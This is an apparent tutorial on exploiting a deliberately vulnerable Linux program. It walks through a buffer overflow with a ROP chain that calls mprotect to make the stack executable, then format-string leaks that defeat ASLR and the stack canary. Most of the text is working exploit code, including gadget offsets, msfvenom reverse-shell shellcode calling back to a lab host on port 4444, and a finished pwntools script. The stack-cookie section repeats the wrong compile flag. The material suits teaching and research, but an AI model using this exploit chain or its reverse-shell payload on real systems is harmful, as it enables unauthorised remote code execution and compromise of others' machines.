In Linux, most executables are compiled with a non-executable stack. We can observe this behaviour using a debugger. In the below output, the stack is readable and writable, but not executable.
gef➤ vmmap
[ Legend: Code | Stack | Heap ]
Start End Offset Perm Path
0x00007ffff7c00000 0x00007ffff7c28000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7c28000 0x00007ffff7db0000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7db0000 0x00007ffff7dff000 0x00000000001b0000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dff000 0x00007ffff7e03000 0x00000000001fe000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7e03000 0x00007ffff7e05000 0x0000000000202000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7e05000 0x00007ffff7e12000 0x0000000000000000 rw-
0x00007ffff7fa8000 0x00007ffff7fab000 0x0000000000000000 rw-
0x00007ffff7fbd000 0x00007ffff7fbf000 0x0000000000000000 rw-
0x00007ffff7fbf000 0x00007ffff7fc3000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc5000 0x00007ffff7fc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fc6000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000036000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000038000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
The checksec command will also confirm that we have a non executable stack enabled in a executable:
gef➤ checksec
[+] checksec for '/home/user/MPROTECT/nx_bypass'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
Return Orientated Programming (ROP) is often used to circumvent a non executable stack. Essentially we write a small program using assembly statements that already reside in memory.
In Linux, the mprotect function can be used to change the memory protection for specified pages in memory. By calling it, we can make the stack executable again.
We will be using the following vulnerable code for testing.
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
void get_password(){
char password[40];
gets(password);
if(strcmp(password, "Password1") == 0) {
puts("Authenticated\n");
}
else {
puts("Incorrect password");
printf(password);
printf("\n");
}
}
int main()
{
for (;;)
{
printf("Enter password:\n");
get_password();
}
return 0;
}
Compile with:
gcc -no-pie -fno-stack-protector nx_bypass.c -o nx_bypass
Ensure ASLR is disabled whilst we develop our exploit, by running the following command as root.
echo 0 > /proc/sys/kernel/randomize_va_space
Calling MPROTECT
To call the mprotect function, we need to supply the following parameters:
int mprotect(
void *addr, // Our target memory address (RDI)
size_t len, // The size of our target memory address. This needs to be aligned to the page size. (RSI)
int prot // The access permissions required. 0x7 = RWX (RDX)
);
Since we’re doing with on an Intel x64 system, we will need populate the RDI,RSI and RDX registers respectively. Since we can’t execute any instructions from the stack, we will need to identify ROP gadgets that allow us to populate these registers.
We will look for gadgets in the libc library. First, we need to know the glibc base address. This can be determined using ldd.
ldd nx_bypass
linux-vdso.so.1 (0x00007ffff7fc3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7c00000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fc5000)
We can use ropper to find suitable gadgets.
(ropper)> file /lib/x86_64-linux-gnu/libc.so.6
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(libc.so.6/ELF/x86_64)> search /1/ pop rdi
[INFO] Searching for gadgets: pop rdi
[INFO] File: /lib/x86_64-linux-gnu/libc.so.6
0x0000000000129a31: pop rdi; call rax;
0x0000000000110734: pop rdi; jmp rdi;
0x000000000010f75b: pop rdi; ret;
(libc.so.6/ELF/x86_64)> search /1/ pop rsi
[INFO] Searching for gadgets: pop rsi
[INFO] File: /lib/x86_64-linux-gnu/libc.so.6
0x0000000000110a4d: pop rsi; ret;
(libc.so.6/ELF/x86_64)> search /1/ pop rdx
[INFO] Searching for gadgets: pop rdx
[INFO] File: /lib/x86_64-linux-gnu/libc.so.6
0x0000000000176c8d: pop rdx; call qword ptr [rax + 0x20];
0x0000000000066b9a: pop rdx; ret 0x19;
We have a couple of problems based on this output. The “pop rsi; ret” instruction is not suitable since it includes a 0x0a characters. Our overflow condition resides in a gets() function, which will terminate on newline characters (0x0a). We will need to find an alternative instruction, a “pop rsi; or bh, dh; ret;” should work for our purposes.
In addition, the pop rdx; ret 0x19 is not ideal.On x64 the stack needs to be 16 byte aligned, returning at 0x19 will mean the stack pointer (RSP) is no longer divisible by 16. This is an issue with calling some functions. Luckily, this does not seem to be an issue with mprotect so we can correct it later before we execute our shellcode.
(libc.so.6/ELF/x86_64)> search /2/ pop rsi
[INFO] Searching for gadgets: pop rsi
[INFO] File: /lib/x86_64-linux-gnu/libc.so.6
0x00000000001afc86: pop rsi; add eax, 0x2685c; ret;
0x000000000007c389: pop rsi; in al, 0xff; jmp qword ptr [rsi + 0xf];
0x00000000000fcf3c: pop rsi; or bh, dh; ret;
0x000000000010f759: pop rsi; pop r15; ret;
0x00000000000881d6: pop rsi; pop rbp; jmp rax;
0x000000000002b46b: pop rsi; pop rbp; ret;
0x00000000000eea70: pop rsi; leave; ret;
0x0000000000110a4d: pop rsi; ret;
0x0000000000161fcf: pop rsi; std; jmp qword ptr [rsi + 0x66];
0x0000000000181fc7: pop rsi; sti; jmp qword ptr [rsi + 0xf];
We will also need to know the address of the mprotect function. This can be determined using GDB:
gef➤ p mprotect
$1 = {void (void)} 0x7ffff7feadb0 <__GI_mprotect>
We should now have enough information to start populating our exploit.
from struct import *
buf = b""
buf += b"A"*56
libc = 0x00007ffff7c00000
print(hex(libc+0x000000000010f75b)) # breakpoint address
buf += pack("<Q", libc + 0x000000000010f75b) # pop rdi; ret;
buf += pack("<Q", 0x4141414141414141) # target memory address
buf += pack("<Q", libc + 0x00000000000fcf3c) # pop rsi; or bh, dh; ret;
buf += pack("<Q", 0x4242424242424242) # target memory size
buf += pack("<Q", libc + 0x0000000000066b9a) # pop rdx; ret 0x19;
buf += pack("<Q", 0x4343434343434343) # memory permissions
buf += pack("<Q", 0x7ffff7feadb0) # address of mprotect()
with open('payload.txt', 'wb') as f:
f.write(buf)
Stepping through our instructions we can see they are being chained together correctly.
gef➤ break main
gef➤ run < payload.txt
gef➤ break *0x7ffff7d0f75b
gef➤ c
gef➤ stepi
→ 0x7ffff7d0f75b <__spawnix+036b> pop rdi
0x7ffff7d0f75c <__spawnix+036c> ret
→ 0x7ffff7cfcf3c <check_node_accept+005c> pop rsi
0x7ffff7cfcf3d <check_node_accept+005d> or bh, dh
0x7ffff7cfcf3f <check_node_accept+005f> ret
→ 0x7ffff7c66b9a <__gen_tempname+023a> pop rdx
0x7ffff7c66b9b <__gen_tempname+023b> ret 0x19
→ 0x7ffff7feadb0 <mprotect+0000> endbr64
0x7ffff7feadb4 <mprotect+0004> mov eax, 0xa
0x7ffff7feadb9 <mprotect+0009> syscall
By the time it gets to this point, you should see your registers are correctly populated:
$rdx : 0x4343434343434343 ("CCCCCCCC"?)
$rsi : 0x4242424242424242 ("BBBBBBBB"?)
$rdi : 0x4141414141414141 ("AAAAAAAA"?)
Next, we just need to populate our placeholder addresses. We can determine both the size and location of our stack using the info proc mappings command in gdb.
info proc mappings
Start Addr End Addr Size Offset Perms objfile
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 rw-p [stack]
We now know the following values.
- RDI = 0x7ffffffde000 (target memory address)
- RSI = 0x21000 (memory size)
- RDX = 0x7 (memory protections)
Now our exploit looks something like this:
from struct import *
buf = b""
buf += b"A"*56
libc = 0x00007ffff7c00000
print(hex(libc+0x000000000010f75b)) # breakpoint address
buf += pack("<Q", libc + 0x000000000010f75b) # pop rdi; ret;
buf += pack("<Q", 0x7ffffffde000) # target memory address
buf += pack("<Q", libc + 0x00000000000fcf3c) # pop rsi; or bh, dh; ret;
buf += pack("<Q", 0x21000) # target memory size
buf += pack("<Q", libc + 0x0000000000066b9a) # pop rdx; ret 0x19;
buf += pack("<Q", 0x7) # memory permissions
buf += pack("<Q", 0x7ffff7feadb0) # address of mprotect()
buf += b"\x90" * 25 # to account for ret 0x19
buf += pack("<Q", 0x414141414141) # placeholder return address
buf += b"\x90" * 50
With this in place, our stack should be executable after stepping through the mprotect syscall;
gef➤ vmmap
[ Legend: Code | Stack | Heap ]
Start End Offset Perm Path
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
To achieve code execution, we just need to reroute execution to a buffer on the stack we control. Examine the stack just after the mprotect syscall, we can see our NOP instructions.
0x7ffff7feadb0 <mprotect+0000> endbr64
0x7ffff7feadb4 <mprotect+0004> mov eax, 0xa
0x7ffff7feadb9 <mprotect+0009> syscall
→ 0x7ffff7feadbb <mprotect+000b> cmp rax, 0xfffffffffffff001
0x7ffff7feadc1 <mprotect+0011> jae 0x7ffff7feadc4 <__GI_mprotect+20>
0x7ffff7feadc3 <mprotect+0013> ret
0x7ffff7feadc4 <mprotect+0014> lea rcx, [rip+0x134d5] # 0x7ffff7ffe2a0 <rtld_errno>
0x7ffff7feadcb <mprotect+001b> neg eax
0x7ffff7feadcd <mprotect+001d> mov DWORD PTR [rcx], eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "nx_bypass", stopped 0x7ffff7feadbb in __GI_mprotect (), reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7feadbb → __GI_mprotect()
[#1] 0x7ffff7c3f906 → get_sysdep_segment_value(name=0x0)
[!] Cannot access memory at address 0x4141414141414049
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ x/10g $rsp
0x7fffffffe261: 0x9090909090909090 0x9090909090909090
0x7fffffffe271: 0x9090909090909090 0x9090909090909090
0x7fffffffe281: 0x9090909090909090 0x9090909090909090
0x7fffffffe291: 0xe98148c931489090 0xef058d48fffffff6
0x7fffffffe2a1: 0xa14ce7bb48ffffff 0x583148918853ae4f
As such, we can use a jmp rsp gadget to get to our shellcode.
(libc.so.6/ELF/x86_64)> search /1/ jmp rsp
[INFO] Searching for gadgets: jmp rsp
[INFO] File: /lib/x86_64-linux-gnu/libc.so.6
0x000000000003f906: jmp rsp;
Now we just need to generate some shellcode to put in the buffer using MSFVenom.
msfvenom -a x64 -p linux/x64/shell_reverse_tcp LHOST=192.168.1.253 LPORT=4444 -f python -b '\x0a\x00'
Payload size: 119 bytes
Final size of python file: 597 bytes
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\xa2\x43\xff\x32\x7f"
buf += b"\x1f\xd2\x9c\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xc8\x6a\xa7\xab\x15\x1d\x8d\xf6\xa3"
buf += b"\x1d\xf0\x37\x37\x88\x9a\x25\xa0\x43\xee\x6e\xbf"
buf += b"\xb7\xd3\x61\xf3\x0b\x76\xd4\x15\x0f\x88\xf6\x88"
buf += b"\x1b\xf0\x37\x15\x1c\x8c\xd4\x5d\x8d\x95\x13\x27"
buf += b"\x10\xd7\xe9\x54\x29\xc4\x6a\xe6\x57\x69\xb3\xc0"
buf += b"\x2a\x91\x1d\x0c\x77\xd2\xcf\xea\xca\x18\x60\x28"
buf += b"\x57\x5b\x7a\xad\x46\xff\x32\x7f\x1f\xd2\x9c"
Amend the exploit as below to include the shellcode.
#!/usr/bin/python
from struct import *
from pwn import *
buf = b""
buf += b"A"*56
libc = 0x00007ffff7c00000
print("Breakpoint:")
print(hex(libc+0x000000000010f75b)) # breakpoint address
buf += struct.pack("<Q", libc + 0x000000000010f75b) # pop rdi; ret;
buf += struct.pack("<Q", 0x7ffffffde000) # target memory address
buf += struct.pack("<Q", libc + 0x00000000000fcf3c) # pop rsi; or bh, dh; ret;
buf += struct.pack("<Q", 0x21000) # target memory size
buf += struct.pack("<Q", libc + 0x0000000000066b9a) # pop rdx; ret 0x19;
buf += struct.pack("<Q", 0x7) # memory permissions
buf += struct.pack("<Q", 0x7ffff7feadb0) # address of mprotect()
buf += b"\x90" * 25 # to account for ret 0x19
buf += struct.pack("<Q", libc + 0x000000000003f906) # jmp rsp
buf += b"\x90" * 50
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\xe7\x4c\xa1\x4f\xae"
buf += b"\x53\x88\x91\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x8d\x65\xf9\xd6\xc4\x51\xd7\xfb\xe6"
buf += b"\x12\xae\x4a\xe6\xc4\xc0\x28\xe5\x4c\xb0\x13\x6e"
buf += b"\xfb\x89\x6c\xb6\x04\x28\xa9\xc4\x43\xd2\xfb\xcd"
buf += b"\x14\xae\x4a\xc4\x50\xd6\xd9\x18\x82\xcb\x6e\xf6"
buf += b"\x5c\x8d\xe4\x11\x26\x9a\x17\x37\x1b\x33\xbe\x85"
buf += b"\x25\xcf\x60\xdd\x3b\x88\xc2\xaf\xc5\x46\x1d\xf9"
buf += b"\x1b\x01\x77\xe8\x49\xa1\x4f\xae\x53\x88\x91"
with open('payload.txt', 'wb') as f:
f.write(buf)
Execute the code (you may need to hit the enter key)
(cat payload.txt ; cat) | ./nx_bypass
This should allow you to receive a reverse shell.
nc -lvvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.200 39844
id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd
Addressing ASLR
Whilst developing the exploit, Address Space Layout Randomization (ASLR) was disabled. We need a way to determine the libc base address as this will be ransomised every time the application is invoked with ASLR enabled. This behavior can be observed using ldd:
# echo 2 > /proc/sys/kernel/randomize_va_space
$ ldd nx_bypass
linux-vdso.so.1 (0x00007fff756c5000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x000077c996200000)
/lib64/ld-linux-x86-64.so.2 (0x000077c996560000)
$ ldd nx_bypass
linux-vdso.so.1 (0x00007ffc8b558000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x000079b4b9a00000)
/lib64/ld-linux-x86-64.so.2 (0x000079b4b9d2c000)
$ ldd nx_bypass
linux-vdso.so.1 (0x00007fff6f548000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007b702de00000)
/lib64/ld-linux-x86-64.so.2 (0x00007b702e1e1000)
In our exploit, we need to make sure the following pointers are dynamically populated.
- The libc base address
- The mprotect RVA function address (which is an offset of the libc base address)
- The stack base address
To determine the other values, we will need a memory leak. Luckily, the application also has a format string vulnerability which can be seen here:
else {
puts("Incorrect password");
printf(password);
printf("\n");
}
More information on format string vulnerabilities can be found here. We can write a script to extract sections of the programs stack memory.
#!/usr/bin/python
from struct import *
from pwn import *
context.log_level = 'DEBUG'
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF('./nx_bypass')
context.terminal = ['gnome-terminal', '--']
p = gdb.debug('./nx_bypass', '''
break main
run
continue
''')
payload = b"%p."*60
p.recvuntil(b'Enter password:\n')
p.sendline(payload)
p.recvuntil(b'Incorrect password\n')
memory = p.recvline()
pointers = memory.split(b".")
counter = 1
for pointer in pointers:
if pointer != "(nil)" and pointer.startswith(b"0x"):
print(str(counter) + " " , end = "")
print(hex(int(pointer,16)))
counter = counter + 1
else:
print(str(counter) + " " , end = "")
print("null")
counter = counter + 1
This will produce output like so…
1 0x6a42a0
2 null
3 0x78e68991c574
4 0x6a4756
5 null
6 0x70252e70252e7025
7 0x252e70252e70252e
8 0x2e70252e70252e70
9 0x70252e70252e7025
10 0x252e70252e70252e
11 0x2e70252e70252e70
12 0x70252e70252e7025
13 0x252e70252e70252e
14 0x2e70252e70252e70
15 0x70252e70252e7025
16 0x252e70252e70252e
17 0x2e70252e70252e70
18 0x70252e70252e7025
19 0x252e70252e70252e
20 0x2e70252e70252e70
21 0x70252e70252e7025
22 0x252e70252e70252e
23 0x2e70252e70252e70
24 0x70252e70252e7025
25 0x252e70252e70252e
26 0x7f52002e70252e70
27 0x7162b662bf1502ba
28 0x7ffe00000000
29 null
30 null
31 0x1
32 0x7ffeb3101060
33 0xa6a27a7d724f5500
34 0x7ffeb3101040
35 0x78e68982a28b
36 0x7ffeb3101078
37 0x403e00
38 0x7ffeb3101078
39 0x40122b
40 null
41 null
42 0x4010d0
43 0x7ffeb3101060
44 null
45 null
46 null
47 0x4010f5
48 0x7ffeb3101058
49 0x38
50 0x1
51 0x7ffeb310322d
52 null
53 0x7ffeb3103239
54 0x7ffeb3103249
55 0x7ffeb31032a5
56 null
We can compare the output to the debuggers vmmap output.
(remote) gef➤ vmmap
[ Legend: Code | Stack | Heap ]
Start End Offset Perm Path
0x000078e689800000 0x000078e689828000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x000078e689828000 0x000078e6899b0000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x000078e6899b0000 0x000078e6899ff000 0x00000000001b0000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x000078e6899ff000 0x000078e689a03000 0x00000000001fe000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x000078e689a03000 0x000078e689a05000 0x0000000000202000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x000078e689a05000 0x000078e689a12000 0x0000000000000000 rw-
0x000078e689b5c000 0x000078e689b5f000 0x0000000000000000 rw-
0x000078e689b75000 0x000078e689b77000 0x0000000000000000 rw-
0x000078e689b77000 0x000078e689b78000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x000078e689b78000 0x000078e689ba3000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x000078e689ba3000 0x000078e689bad000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x000078e689bad000 0x000078e689baf000 0x0000000000036000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x000078e689baf000 0x000078e689bb1000 0x0000000000038000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffeb30e3000 0x00007ffeb3104000 0x0000000000000000 rw- [stack]
0x00007ffeb31ef000 0x00007ffeb31f3000 0x0000000000000000 r-- [vvar]
0x00007ffeb31f3000 0x00007ffeb31f5000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
Value 53 (0x7ffeb3103239) appears to be at offset 0x20239 from our stack address of 0x00007ffeb30e3000. Restarting the application multiple times shows this is the case. So, by subtracting 0x20239 from the value we see at this address, we have our stack base address.
Similarly, Value 3 (0x78e68991c574) is 0x11C574 from our libc base address of 0x000078e689800000.
Now we just need the mprotect Relative Virtual Address which can be retrieved using the nm command:
nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep mprotect
#0000000000125c10 T __mprotect@@GLIBC_PRIVATE
#0000000000125c10 W mprotect@@GLIBC_2.2.5
#000000000012a4c0 T pkey_mprotect@@GLIBC_2.27
Stack Cookies
By default, gcc will include a stack cookie. This is a random value found before the return address on the stack. If we compile the application without the -fno-stack-protector flag
gcc -no-pie -fno-stack-protector nx_bypass.c -o nx_bypass
We can see the stack cookie check during our function prologue.
0x401258 <get_password+0082> mov rax, QWORD PTR [rbp-0x8]
0x40125c <get_password+0086> sub rax, QWORD PTR fs:0x28
0x401265 <get_password+008f> je 0x40126c <get_password+150>
0x401267 <get_password+0091> call 0x4010b0 <__stack_chk_fail@plt>
0x40126c <get_password+0096> leave
(remote) gef➤ x/10x $rbp-0x8
0x7ffe8b77b1b8: 0x8d12486df99c7e00 0x00007ffe8b77b1d0
0x7ffe8b77b1c8: 0x000000000040128f 0x00007ffe8b77b270
0x7ffe8b77b1d8: 0x000076852fc2a1ca 0x00007ffe8b77b220
0x7ffe8b77b1e8: 0x00007ffe8b77b2f8 0x0000000100400040
0x7ffe8b77b1f8: 0x000000000040126e 0x00007ffe8b77b2f8
Similar to how we addressed ASLR, we can read the cookie value using our format string exploit. The value we want appears at position 33:
32 0x7ffeb3101060
33 0xa6a27a7d724f5500
34 0x7ffeb3101040
Linux stack cookies normally end with a null byte (0x00) as can be seen above.
Finished Exploit
Based on the information we previously collected, the following exploit will leak stack addresses to allow us to continue without ASLR interfering.
#!/usr/bin/python
from struct import *
from pwn import *
context.log_level = 'DEBUG'
elf = ELF('./nx_bypass')
context.terminal = ['gnome-terminal', '--']
p = gdb.debug('./nx_bypass', '''
# break main
# run
# continue
''')
#######################################
# STAGE 0: GLIBC LEAK #
#######################################
payload = b"%3$p"
p.recvuntil(b'Enter password:\n')
p.sendline(payload)
p.recvuntil(b'Incorrect password\n')
libc = int(p.recvline(),16)
libc = libc - 0x11C574
print("libc base address:")
print(hex(libc))
print("BREAKPOINT")
print(hex(libc + 0x000000000010f75b))
######################################
# STAGE 1: LEAK STACK ADDRESS #
######################################
payload = b"%53$p"
p.recvline()
p.sendline(payload)
p.recvuntil(b'Incorrect password\n')
stack = int(p.recvline(),16)
stack = stack - 0x20239
print("stack address:")
print(hex(stack))
######################################
# STAGE 2: LEAK STACK COOKIE #
######################################
payload = b"%33$p"
p.recvline()
p.sendline(payload)
p.recvuntil(b'Incorrect password\n')
stack_cookie = int(p.recvline(),16)
print("stack cookie:")
print(hex(stack_cookie))
#######################################
# STAGE 3: MPROTECT ROP #
#######################################
buf = b""
buf += b"A"*40
buf += struct.pack("<Q", stack_cookie)
buf += b"B"*8
buf += struct.pack("<Q", libc + 0x000000000010f75b) # pop rdi; ret;
buf += struct.pack("<Q",stack) # stack
buf += struct.pack("<Q", libc + 0x00000000000fcf3c) # pop rsi; or bh, dh; ret;
buf += struct.pack("<Q", 0x21000) # target memory size
buf += struct.pack("<Q", libc + 0x0000000000066b9a) # pop rdx; ret 0x19;
buf += struct.pack("<Q", 0x7) # memory permissions
buf += struct.pack("<Q", libc + 0x125c10) # mprotect RVA
buf += b"\x90" * 25 # to account for ret 0x19
buf += struct.pack("<Q", libc + 0x000000000003f906) # jmp rsp
# Shellcode
buf += b"\x90" * 50
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\xe7\x4c\xa1\x4f\xae"
buf += b"\x53\x88\x91\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x8d\x65\xf9\xd6\xc4\x51\xd7\xfb\xe6"
buf += b"\x12\xae\x4a\xe6\xc4\xc0\x28\xe5\x4c\xb0\x13\x6e"
buf += b"\xfb\x89\x6c\xb6\x04\x28\xa9\xc4\x43\xd2\xfb\xcd"
buf += b"\x14\xae\x4a\xc4\x50\xd6\xd9\x18\x82\xcb\x6e\xf6"
buf += b"\x5c\x8d\xe4\x11\x26\x9a\x17\x37\x1b\x33\xbe\x85"
buf += b"\x25\xcf\x60\xdd\x3b\x88\xc2\xaf\xc5\x46\x1d\xf9"
buf += b"\x1b\x01\x77\xe8\x49\xa1\x4f\xae\x53\x88\x91"
p.sendline(buf)
p.recvline()
p.interactive()